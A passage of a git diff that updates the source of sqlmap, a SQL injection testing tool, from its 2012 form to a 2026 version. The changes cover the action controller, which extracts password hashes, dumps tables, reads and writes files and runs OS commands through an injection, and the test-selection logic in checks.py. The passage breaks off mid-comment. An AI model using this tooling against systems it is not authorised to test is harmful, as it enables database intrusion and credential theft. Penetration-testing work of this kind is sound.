[(228, 26, 28), (55, 126, 184), (77, 175, 74), (152, 78, 163), (255, 127, 0), (255, 255, 51), (166, 86, 40), (247, 129, 191), (153, 153, 153)], - 'set23': [(102, 194, 165), (252, 141, 98), (141, 160, 203)], - 'set24': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195)], - 'set25': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84)], - 'set26': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84), (255, 217, 47)], - 'set27': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84), (255, 217, 47), (229, 196, 148)], - 'set28': [(102, 194, 165), (252, 141, 98), (141, 160, 203), (231, 138, 195), (166, 216, 84), (255, 217, 47), (229, 196, 148), (179, 179, 179)], - 'set310': [(141, 211, 199), (188, 128, 189), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'set311': [(141, 211, 199), (188, 128, 189), (204, 235, 197), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'set312': [(141, 211, 199), (188, 128, 189), (204, 235, 197), (255, 237, 111), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'set33': [(141, 211, 199), (255, 255, 179), (190, 186, 218)], - 'set34': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114)], - 'set35': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211)], - 'set36': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98)], - 'set37': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105)], - 'set38': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229)], - 'set39': [(141, 211, 199), (255, 255, 179), (190, 186, 218), (251, 128, 114), (128, 177, 211), (253, 180, 98), (179, 222, 105), (252, 205, 229), (217, 217, 217)], - 'spectral10': [(158, 1, 66), (94, 79, 162), (213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (230, 245, 152), (171, 221, 164), (102, 194, 165), (50, 136, 189)], - 'spectral11': [(158, 1, 66), (50, 136, 189), (94, 79, 162), (213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (230, 245, 152), (171, 221, 164), (102, 194, 165)], - 'spectral3': [(252, 141, 89), (255, 255, 191), (153, 213, 148)], - 'spectral4': [(215, 25, 28), (253, 174, 97), (171, 221, 164), (43, 131, 186)], - 'spectral5': [(215, 25, 28), (253, 174, 97), (255, 255, 191), (171, 221, 164), (43, 131, 186)], - 'spectral6': [(213, 62, 79), (252, 141, 89), (254, 224, 139), (230, 245, 152), (153, 213, 148), (50, 136, 189)], - 'spectral7': [(213, 62, 79), (252, 141, 89), (254, 224, 139), (255, 255, 191), (230, 245, 152), (153, 213, 148), (50, 136, 189)], - 'spectral8': [(213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (230, 245, 152), (171, 221, 164), (102, 194, 165), (50, 136, 189)], - 'spectral9': [(213, 62, 79), (244, 109, 67), (253, 174, 97), (254, 224, 139), (255, 255, 191), (230, 245, 152), (171, 221, 164), (102, 194, 165), (50, 136, 189)], - 'ylgn3': [(247, 252, 185), (173, 221, 142), (49, 163, 84)], - 'ylgn4': [(255, 255, 204), (194, 230, 153), (120, 198, 121), (35, 132, 67)], - 'ylgn5': [(255, 255, 204), (194, 230, 153), (120, 198, 121), (49, 163, 84), (0, 104, 55)], - 'ylgn6': [(255, 255, 204), (217, 240, 163), (173, 221, 142), (120, 198, 121), (49, 163, 84), (0, 104, 55)], - 'ylgn7': [(255, 255, 204), (217, 240, 163), (173, 221, 142), (120, 198, 121), (65, 171, 93), (35, 132, 67), (0, 90, 50)], - 'ylgn8': [(255, 255, 229), (247, 252, 185), (217, 240, 163), (173, 221, 142), (120, 198, 121), (65, 171, 93), (35, 132, 67), (0, 90, 50)], - 'ylgn9': [(255, 255, 229), (247, 252, 185), (217, 240, 163), (173, 221, 142), (120, 198, 121), (65, 171, 93), (35, 132, 67), (0, 104, 55), (0, 69, 41)], - 'ylgnbu3': [(237, 248, 177), (127, 205, 187), (44, 127, 184)], - 'ylgnbu4': [(255, 255, 204), (161, 218, 180), (65, 182, 196), (34, 94, 168)], - 'ylgnbu5': [(255, 255, 204), (161, 218, 180), (65, 182, 196), (44, 127, 184), (37, 52, 148)], - 'ylgnbu6': [(255, 255, 204), (199, 233, 180), (127, 205, 187), (65, 182, 196), (44, 127, 184), (37, 52, 148)], - 'ylgnbu7': [(255, 255, 204), (199, 233, 180), (127, 205, 187), (65, 182, 196), (29, 145, 192), (34, 94, 168), (12, 44, 132)], - 'ylgnbu8': [(255, 255, 217), (237, 248, 177), (199, 233, 180), (127, 205, 187), (65, 182, 196), (29, 145, 192), (34, 94, 168), (12, 44, 132)], - 'ylgnbu9': [(255, 255, 217), (237, 248, 177), (199, 233, 180), (127, 205, 187), (65, 182, 196), (29, 145, 192), (34, 94, 168), (37, 52, 148), (8, 29, 88)], - 'ylorbr3': [(255, 247, 188), (254, 196, 79), (217, 95, 14)], - 'ylorbr4': [(255, 255, 212), (254, 217, 142), (254, 153, 41), (204, 76, 2)], - 'ylorbr5': [(255, 255, 212), (254, 217, 142), (254, 153, 41), (217, 95, 14), (153, 52, 4)], - 'ylorbr6': [(255, 255, 212), (254, 227, 145), (254, 196, 79), (254, 153, 41), (217, 95, 14), (153, 52, 4)], - 'ylorbr7': [(255, 255, 212), (254, 227, 145), (254, 196, 79), (254, 153, 41), (236, 112, 20), (204, 76, 2), (140, 45, 4)], - 'ylorbr8': [(255, 255, 229), (255, 247, 188), (254, 227, 145), (254, 196, 79), (254, 153, 41), (236, 112, 20), (204, 76, 2), (140, 45, 4)], - 'ylorbr9': [(255, 255, 229), (255, 247, 188), (254, 227, 145), (254, 196, 79), (254, 153, 41), (236, 112, 20), (204, 76, 2), (153, 52, 4), (102, 37, 6)], - 'ylorrd3': [(255, 237, 160), (254, 178, 76), (240, 59, 32)], - 'ylorrd4': [(255, 255, 178), (254, 204, 92), (253, 141, 60), (227, 26, 28)], - 'ylorrd5': [(255, 255, 178), (254, 204, 92), (253, 141, 60), (240, 59, 32), (189, 0, 38)], - 'ylorrd6': [(255, 255, 178), (254, 217, 118), (254, 178, 76), (253, 141, 60), (240, 59, 32), (189, 0, 38)], - 'ylorrd7': [(255, 255, 178), (254, 217, 118), (254, 178, 76), (253, 141, 60), (252, 78, 42), (227, 26, 28), (177, 0, 38)], - 'ylorrd8': [(255, 255, 204), (255, 237, 160), (254, 217, 118), (254, 178, 76), (253, 141, 60), (252, 78, 42), (227, 26, 28), (177, 0, 38)], -} - - -if __name__ == '__main__': - main() diff --git a/lib/__init__.py b/lib/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/__init__.py +++ b/lib/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/controller/__init__.py b/lib/controller/__init__.py index 652bcd8d837..bcac841631b 100644 --- a/lib/controller/__init__.py +++ b/lib/controller/__init__.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ pass diff --git a/lib/controller/action.py b/lib/controller/action.py index 9788b670d91..a1413a62231 100644 --- a/lib/controller/action.py +++ b/lib/controller/action.py @@ -1,26 +1,29 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.controller.handler import setHandler from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import dataToStdout from lib.core.data import conf from lib.core.data import kb +from lib.core.data import logger from lib.core.data import paths -from lib.core.exception import sqlmapUnsupportedDBMSException +from lib.core.enums import CONTENT_TYPE +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapUnsupportedDBMSException from lib.core.settings import SUPPORTED_DBMS -from lib.techniques.brute.use import columnExists -from lib.techniques.brute.use import tableExists +from lib.utils.brute import columnExists +from lib.utils.brute import fileExists +from lib.utils.brute import tableExists def action(): """ This function exploit the SQL injection on the affected - url parameter and extract requested data from the + URL parameter and extract requested data from the back-end database management system or operating system if possible """ @@ -46,13 +49,12 @@ def action(): elif kb.nullConnection: errMsg += ". You can try to rerun without using optimization " errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection") - else: - errMsg += ". Support for this DBMS will be implemented at " - errMsg += "some point" - raise sqlmapUnsupportedDBMSException, errMsg + raise SqlmapUnsupportedDBMSException(errMsg) - dataToStdout("%s\n" % conf.dbmsHandler.getFingerprint()) + conf.dumper.singleString(conf.dbmsHandler.getFingerprint()) + + kb.fingerprinted = True # Enumeration options if conf.getBanner: @@ -64,70 +66,152 @@ def action(): if conf.getCurrentDb: conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb()) + if conf.getHostname: + conf.dumper.hostname(conf.dbmsHandler.getHostname()) + if conf.isDba: conf.dumper.dba(conf.dbmsHandler.isDba()) if conf.getUsers: conf.dumper.users(conf.dbmsHandler.getUsers()) + if conf.getStatements: + conf.dumper.statements(conf.dbmsHandler.getStatements()) + if conf.getPasswordHashes: - conf.dumper.userSettings("database management system users password hashes", - conf.dbmsHandler.getPasswordHashes(), "password hash") + try: + conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getPrivileges: - conf.dumper.userSettings("database management system users privileges", - conf.dbmsHandler.getPrivileges(), "privilege") + try: + conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getRoles: - conf.dumper.userSettings("database management system users roles", - conf.dbmsHandler.getRoles(), "role") + try: + conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getDbs: - conf.dumper.dbs(conf.dbmsHandler.getDbs()) + try: + conf.dumper.dbs(conf.dbmsHandler.getDbs()) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getTables: - conf.dumper.dbTables(conf.dbmsHandler.getTables()) + try: + conf.dumper.dbTables(conf.dbmsHandler.getTables()) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.commonTables: - conf.dumper.dbTables(tableExists(paths.COMMON_TABLES)) + try: + conf.dumper.dbTables(tableExists(paths.COMMON_TABLES)) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getSchema: - conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema()) + try: + conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getColumns: - conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns()) + try: + conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.getCount: - conf.dumper.dbTablesCount(conf.dbmsHandler.getCount()) + try: + conf.dumper.dbTablesCount(conf.dbmsHandler.getCount()) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.commonColumns: - conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS)) + try: + conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS)) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.dumpTable: - conf.dbmsHandler.dumpTable() + try: + conf.dbmsHandler.dumpTable() + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.dumpAll: - conf.dbmsHandler.dumpAll() + try: + conf.dbmsHandler.dumpAll() + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise if conf.search: - conf.dbmsHandler.search() - - if conf.query: - conf.dumper.query(conf.query, conf.dbmsHandler.sqlQuery(conf.query)) + try: + conf.dbmsHandler.search() + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise + + if conf.sqlQuery: + for query in conf.sqlQuery.strip(';').split(';'): + query = query.strip() + if query: + conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query)) if conf.sqlShell: conf.dbmsHandler.sqlShell() + if conf.sqlFile: + conf.dbmsHandler.sqlFile() + # User-defined function options if conf.udfInject: conf.dbmsHandler.udfInjectCustom() # File system options - if conf.rFile: - conf.dumper.rFile(conf.rFile, conf.dbmsHandler.readFile(conf.rFile)) - - if conf.wFile: - conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType) + if conf.fileRead: + conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead)) + + if conf.fileWrite: + conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType) + + if conf.commonFiles: + try: + conf.dumper.rFile(fileExists(paths.COMMON_FILES)) + except SqlmapNoneDataException as ex: + logger.critical(ex) + except: + raise # Operating system options if conf.osCmd: diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 59d03ce0e0c..4fa6d524933 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1,29 +1,35 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ -import httplib +import copy +import logging import random import re import socket import time +from extra.beep.beep import beep from lib.core.agent import agent -from lib.core.common import arrayizeValue from lib.core.common import Backend -from lib.core.common import beep from lib.core.common import extractRegexResult from lib.core.common import extractTextTagContent +from lib.core.common import filterNone from lib.core.common import findDynamicContent from lib.core.common import Format -from lib.core.common import getComparePageRatio +from lib.core.common import getFilteredPageContent from lib.core.common import getLastRequestHTTPError +from lib.core.common import getPublicTypeMembers +from lib.core.common import getSafeExString from lib.core.common import getSortedInjectionTests -from lib.core.common import getUnicode +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite from lib.core.common import intersect +from lib.core.common import isDigit +from lib.core.common import joinValue from lib.core.common import listToStrValue from lib.core.common import parseFilePaths from lib.core.common import popValue @@ -34,33 +40,70 @@ from lib.core.common import showStaticWords from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage -from lib.core.common import wasLastRequestDBMSError -from lib.core.common import wasLastRequestHTTPError +from lib.core.common import unArrayizeValue +from lib.core.common import wasLastResponseDBMSError +from lib.core.common import wasLastResponseHTTPError +from lib.core.compat import xrange +from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict -from lib.core.enums import HTTPHEADER +from lib.core.decorators import stackedmethod +from lib.core.dicts import FROM_DUMMY_TABLE +from lib.core.dicts import HEURISTIC_NULL_EVAL +from lib.core.enums import DBMS +from lib.core.enums import HASHDB_KEYS +from lib.core.enums import HEURISTIC_TEST +from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD +from lib.core.enums import NOTE from lib.core.enums import NULLCONNECTION from lib.core.enums import PAYLOAD from lib.core.enums import PLACE -from lib.core.exception import sqlmapConnectionException -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapSilentQuitException -from lib.core.exception import sqlmapUserQuitException -from lib.core.settings import CONSTANT_RATIO -from lib.core.settings import UNKNOWN_DBMS_VERSION -from lib.core.settings import LOWER_RATIO_BOUND +from lib.core.enums import REDIRECTION +from lib.core.enums import WEB_PLATFORM +from lib.core.exception import SqlmapConnectionException +from lib.core.exception import SqlmapDataException +from lib.core.exception import SqlmapNoneDataException +from lib.core.exception import SqlmapSilentQuitException +from lib.core.exception import SqlmapSkipTargetException +from lib.core.exception import SqlmapUserQuitException +from lib.core.settings import BOUNDED_INJECTION_MARKER +from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH +from lib.core.settings import CHECK_INTERNET_ADDRESS +from lib.core.settings import CHECK_INTERNET_CODE +from lib.core.settings import DEFAULT_COOKIE_DELIMITER +from lib.core.settings import DEFAULT_GET_POST_DELIMITER +from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX +from lib.core.settings import FI_ERROR_REGEX +from lib.core.settings import FORMAT_EXCEPTION_STRINGS +from lib.core.settings import HEURISTIC_CHECK_ALPHABET +from lib.core.settings import INFERENCE_EQUALS_CHAR +from lib.core.settings import IPS_WAF_CHECK_PAYLOAD +from lib.core.settings import IPS_WAF_CHECK_RATIO +from lib.core.settings import IPS_WAF_CHECK_TIMEOUT +from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH +from lib.core.settings import MAX_STABILITY_DELAY +from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH +from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS +from lib.core.settings import SINGLE_QUOTE_MARKER +from lib.core.settings import SLEEP_TIME_MARKER +from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH +from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UPPER_RATIO_BOUND -from lib.core.settings import IDS_WAF_CHECK_PAYLOAD +from lib.core.settings import URI_HTTP_HEADER from lib.core.threads import getCurrentThreadData +from lib.core.unescaper import unescaper from lib.request.connect import Connect as Request +from lib.request.comparison import comparison from lib.request.inject import checkBooleanExpression from lib.request.templates import getPageTemplate from lib.techniques.union.test import unionTest from lib.techniques.union.use import configUnion +from thirdparty import six +from thirdparty.six.moves import http_client as _http_client def checkSqlInjection(place, parameter, value): # Store here the details about boundaries and payload used to @@ -70,18 +113,77 @@ def checkSqlInjection(place, parameter, value): # Localized thread data needed for some methods threadData = getCurrentThreadData() + # Favoring non-string specific boundaries in case of digit-like parameter values + if isDigit(value): + kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) + boundaries = kb.cache.intBoundaries + elif value.isalpha(): + kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or "") or _ in (boundary.suffix or "") for _ in ('"', '\''))) + boundaries = kb.cache.alphaBoundaries + else: + boundaries = conf.boundaries + # Set the flag for SQL injection test mode kb.testMode = True - for test in getSortedInjectionTests(): + paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place + tests = getSortedInjectionTests() + seenPayload = set() + + kb.data.setdefault("randomInt", str(randomInt(10))) + kb.data.setdefault("randomStr", str(randomStr(10))) + + while tests: + test = tests.pop(0) + try: if kb.endDetection: break + if conf.dbms is None: + # If the DBMS has not yet been fingerprinted (via simple heuristic check + # or via DBMS-specific payload) and boolean-based blind has been identified + # then attempt to identify with a simple DBMS specific boolean-based + # test what the DBMS may be + if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data: + if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests: + kb.heuristicDbms = heuristicCheckDbms(injection) + + # If the DBMS has already been fingerprinted (via DBMS-specific + # error message, simple heuristic check or via DBMS-specific + # payload), ask the user to limit the tests to the fingerprinted + # DBMS + + if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): + msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/')) + msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" + kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] + + # If the DBMS has been fingerprinted (via DBMS-specific error + # message, via simple heuristic check or via DBMS-specific + # payload), ask the user to extend the tests to all DBMS-specific, + # regardless of --level and --risk values provided + if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms): + msg = "for the remaining tests, do you want to include all tests " + msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/')) + msg += "level (%d)" % conf.level if conf.level < 5 else "" + msg += " and " if conf.level < 5 and conf.risk < 3 else "" + msg += "risk (%d)" % conf.risk if conf.risk < 3 else "" + msg += " values? [Y/n]" if conf.level < 5 and conf.risk < 3 else " value? [Y/n]" + kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else [] + title = test.title - stype = test.stype + kb.testType = stype = test.stype clause = test.clause unionExtended = False + trueCode, falseCode = None, None + + if conf.httpCollector is not None: + conf.httpCollector.setExtendedArguments({ + "_title": title, + "_place": place, + "_parameter": parameter, + }) if stype == PAYLOAD.TECHNIQUE.UNION: configUnion(test.request.char) @@ -109,21 +211,23 @@ def checkSqlInjection(place, parameter, value): continue match = re.search(r"(\d+)-(\d+)", test.request.columns) - if injection.data and match: + if match and injection.data: lower, upper = int(match.group(1)), int(match.group(2)) for _ in (lower, upper): if _ > 1: + __ = 2 * (_ - 1) + 1 if _ == lower else 2 * _ unionExtended = True - test.request.columns = re.sub(r"\b%d\b" % _, str(2 * _), test.request.columns) - title = re.sub(r"\b%d\b" % _, str(2 * _), title) - test.title = re.sub(r"\b%d\b" % _, str(2 * _), test.title) + test.request._columns = test.request.columns + test.request.columns = re.sub(r"\b%d\b" % _, str(__), test.request.columns) + title = re.sub(r"\b%d\b" % _, str(__), title) + test.title = re.sub(r"\b%d\b" % _, str(__), test.title) # Skip test if the user's wants to test only for a specific # technique - if conf.tech and isinstance(conf.tech, list) and stype not in conf.tech: - debugMsg = "skipping test '%s' because the user " % title - debugMsg += "specified to test only for " - debugMsg += "%s techniques" % " & ".join(map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech)) + if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique: + debugMsg = "skipping test '%s' because user " % title + debugMsg += "specified testing of only " + debugMsg += "%s techniques" % " & ".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique) logger.debug(debugMsg) continue @@ -136,70 +240,82 @@ def checkSqlInjection(place, parameter, value): logger.debug(debugMsg) continue - # Skip tests if title is not included by the given filter - if conf.tstF: - if not any(re.search(conf.tstF, str(item), re.I) for item in [test.title, test.vector,\ - test.details.dbms if "details" in test and "dbms" in test.details else ""]): - debugMsg = "skipping test '%s' because " % title - debugMsg += "its name/vector/dbms is not included by the given filter" - logger.debug(debugMsg) - continue + # Parse DBMS-specific payloads' details + if "details" in test and "dbms" in test.details: + payloadDbms = test.details.dbms else: - # Skip test if the risk is higher than the provided (or default) - # value - # Parse test's - if test.risk > conf.risk: - debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk) - debugMsg += "is higher than the provided (%d)" % conf.risk + payloadDbms = None + + # Skip tests if title, vector or DBMS is not included by the + # given test filter + if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): + debugMsg = "skipping test '%s' because its " % title + debugMsg += "name/vector/DBMS is not included by the given filter" + logger.debug(debugMsg) + continue + + # Skip tests if title, vector or DBMS is included by the + # given skip filter + if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)): + debugMsg = "skipping test '%s' because its " % title + debugMsg += "name/vector/DBMS is included by the given skip filter" + logger.debug(debugMsg) + continue + + if payloadDbms is not None: + # Skip DBMS-specific test if it does not match the user's + # provided DBMS + if conf.dbms and not intersect(payloadDbms, conf.dbms, True): + debugMsg = "skipping test '%s' because " % title + debugMsg += "its declared DBMS is different than provided" logger.debug(debugMsg) continue - # Skip test if the level is higher than the provided (or default) - # value - # Parse test's - if test.level > conf.level: - debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level) - debugMsg += "is higher than the provided (%d)" % conf.level + elif kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True): + debugMsg = "skipping test '%s' because " % title + debugMsg += "its declared DBMS is different than provided" logger.debug(debugMsg) continue - # Skip DBMS-specific test if it does not match either the - # previously identified or the user's provided DBMS (either - # from program switch or from parsed error message(s)) - if "details" in test and "dbms" in test.details: - dbms = test.details.dbms - else: - dbms = None + elif kb.reduceTests is False: + pass - if dbms is not None: - if injection.dbms is not None and not intersect(injection.dbms, dbms): + # Skip DBMS-specific test if it does not match the + # previously identified DBMS (via DBMS-specific payload) + elif injection.dbms and not intersect(payloadDbms, injection.dbms, True): debugMsg = "skipping test '%s' because " % title - debugMsg += "the back-end DBMS identified is " - debugMsg += "%s" % injection.dbms + debugMsg += "its declared DBMS is different than identified" logger.debug(debugMsg) continue - if conf.dbms is not None and not intersect(conf.dbms.lower(), [value.lower() for value in arrayizeValue(dbms)]): - debugMsg = "skipping test '%s' because " % title - debugMsg += "the provided DBMS is %s" % conf.dbms + # Skip DBMS-specific test if it does not match the + # previously identified DBMS (via DBMS-specific error message) + elif kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True): + debugMsg = "skipping test '%s' because the heuristic " % title + debugMsg += "tests showed that the back-end DBMS " + debugMsg += "could be '%s'" % unArrayizeValue(kb.reduceTests) logger.debug(debugMsg) continue - if len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(dbms, Backend.getErrorParsedDBMSes()) and kb.skipOthersDbms is None: - msg = "parsed error message(s) showed that the " - msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes() - msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]" - - if conf.realTest or readInput(msg, default="Y") in ("y", "Y"): - kb.skipOthersDbms = Backend.getErrorParsedDBMSes() - else: - kb.skipOthersDbms = [] + # If the user did not decide to extend the tests to all + # DBMS-specific or the test payloads is not specific to the + # identified DBMS, then only test for it if both level and risk + # are below the corrisponding configuration's level and risk + # values + if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)): + # Skip test if the risk is higher than the provided (or default) + # value + if test.risk > conf.risk: + debugMsg = "skipping test '%s' because the risk (%d) " % (title, test.risk) + debugMsg += "is higher than the provided (%d)" % conf.risk + logger.debug(debugMsg) + continue - if kb.skipOthersDbms and not intersect(dbms, kb.skipOthersDbms): - debugMsg = "skipping test '%s' because " % title - debugMsg += "the parsed error message(s) showed " - debugMsg += "that the back-end DBMS could be " - debugMsg += "%s" % Format.getErrorParsedDBMSes() + # Skip test if the level is higher than the provided (or default) + # value + if test.level > conf.level: + debugMsg = "skipping test '%s' because the level (%d) " % (title, test.level) + debugMsg += "is higher than the provided (%d)" % conf.level logger.debug(debugMsg) continue @@ -214,35 +330,53 @@ def checkSqlInjection(place, parameter, value): if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch: debugMsg = "skipping test '%s' because the clauses " % title - debugMsg += "differs from the clause already identified" + debugMsg += "differ from the clause already identified" logger.debug(debugMsg) continue - # Skip test if the user provided custom character + # Skip test if the user provided custom character (for UNION-based payloads) if conf.uChar is not None and ("random number" in title or "(NULL)" in title): debugMsg = "skipping test '%s' because the user " % title debugMsg += "provided a specific character, %s" % conf.uChar logger.debug(debugMsg) continue + if stype == PAYLOAD.TECHNIQUE.UNION: + match = re.search(r"(\d+)-(\d+)", test.request.columns) + if match and not injection.data: + _ = test.request.columns.split('-')[-1] + if conf.uCols is None and _.isdigit(): + if kb.futileUnion is None: + msg = "it is recommended to perform " + msg += "only basic UNION tests if there is not " + msg += "at least one other (potential) " + msg += "technique found. Do you want to reduce " + msg += "the number of requests? [Y/n] " + kb.futileUnion = readInput(msg, default='Y', boolean=True) + + if kb.futileUnion and int(_) > 10: + debugMsg = "skipping test '%s'" % title + logger.debug(debugMsg) + continue + infoMsg = "testing '%s'" % title logger.info(infoMsg) - # Force back-end DBMS according to the current - # test value for proper payload unescaping - Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms) + # Force back-end DBMS according to the current test DBMS value + # for proper payload unescaping + Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms) # Parse test's comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None - fstPayload = agent.cleanupPayload(test.request.payload, origValue=value) + fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None) - for boundary in conf.boundaries: + for boundary in boundaries: injectable = False # Skip boundary if the level is higher than the provided (or # default) value # Parse 